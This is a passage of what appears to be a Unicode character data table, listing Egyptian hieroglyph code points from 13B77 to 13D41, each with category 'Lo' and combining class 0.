("EGYPTIAN HIEROGLYPH-13B77", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B78", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B79", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B7A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B7B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B7C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B7D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B7E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B7F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B80", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B81", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B82", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B83", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B84", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B85", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B86", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B87", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B88", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B89", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B8A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B8B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B8C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B8D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B8E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B8F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B90", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B91", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B92", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B93", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B94", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B95", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B96", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B97", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B98", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B99", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B9A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B9B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B9C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B9D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B9E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B9F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BA9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BAA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BAB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BAC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BAD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BAE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BAF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BB9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BBA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BBB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BBC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BBD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BBE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BBF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BC9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BCA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BCB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BCC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BCD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BCE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BCF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BD9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BDA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BDB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BDC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BDD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BDE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BDF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BE9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BEA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BEB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BEC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BEE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BEF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BF9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BFA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BFB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BFC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BFD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BFE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13BFF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C00", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C01", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C02", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C03", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C04", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C05", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C06", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C07", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C08", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C09", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C0A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C0B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C0C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C0D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C0E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C0F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C10", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C11", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C12", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C13", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C14", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C15", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C16", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C17", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C18", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C19", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C1A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C1B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C1C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C1D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C1E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C1F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C20", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C21", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C22", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C23", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C24", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C25", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C26", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C27", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C28", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C29", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C2A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C2B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C2C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C2D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C2E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C2F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C30", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C31", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C32", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C33", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C34", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C35", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C36", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C37", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C38", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C39", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C3A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C3B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C3C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C3D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C3E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C3F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C40", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C41", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C42", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C43", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C44", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C45", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C46", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C47", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C48", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C49", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C4A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C4B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C4C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C4D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C4E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C4F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C50", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C51", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C52", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C53", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C54", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C55", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C56", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C57", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C58", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C59", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C5A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C5B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C5C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C5D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C5E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C5F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C60", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C61", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C62", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C63", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C64", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C65", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C66", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C67", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C68", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C69", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C6A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C6B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C6C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C6D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C6E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C6F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C70", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C71", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C72", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C73", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C74", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C75", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C76", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C77", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C78", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C79", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C7A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C7B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C7C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C7D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C7E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C7F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C80", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C81", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C82", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C83", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C84", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C85", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C86", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C87", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C88", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C89", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C8A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C8B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C8C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C8D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C8E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C8F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C90", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C91", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C92", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C93", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C94", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C95", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C96", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C97", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C98", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C99", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C9A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C9B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C9C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C9D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C9E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13C9F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CA9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CAA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CAB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CAC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CAD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CAE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CAF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CB9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CBA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CBB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CBC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CBD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CBE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CBF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CC9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CCA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CCB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CCC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CCD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CCE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CCF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CD9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CDA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CDB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CDC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CDD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CDE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CDF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CE9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CEA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CEB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CEC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CEE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CEF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CF9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CFA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CFB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CFC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CFD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CFE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13CFF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D00", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D01", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D02", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D03", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D04", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D05", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D06", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D07", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D08", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D09", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D0A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D0B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D0C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D0D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D0E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D0F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D10", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D11", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D12", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D13", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D14", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D15", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D16", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D17", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D18", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D19", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D1A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D1B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D1C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D1D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D1E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D1F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D20", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D21", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D22", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D23", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D24", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D25", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D26", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D27", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D28", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D29", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D2A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D2B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D2C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D2D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D2E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D2F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D30", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D31", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D32", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D33", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D34", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D35", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D36", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D37", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D38", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D39", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D3A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D3B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D3C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D3D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D3E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D3F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D40", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D41", "Lo", 0),
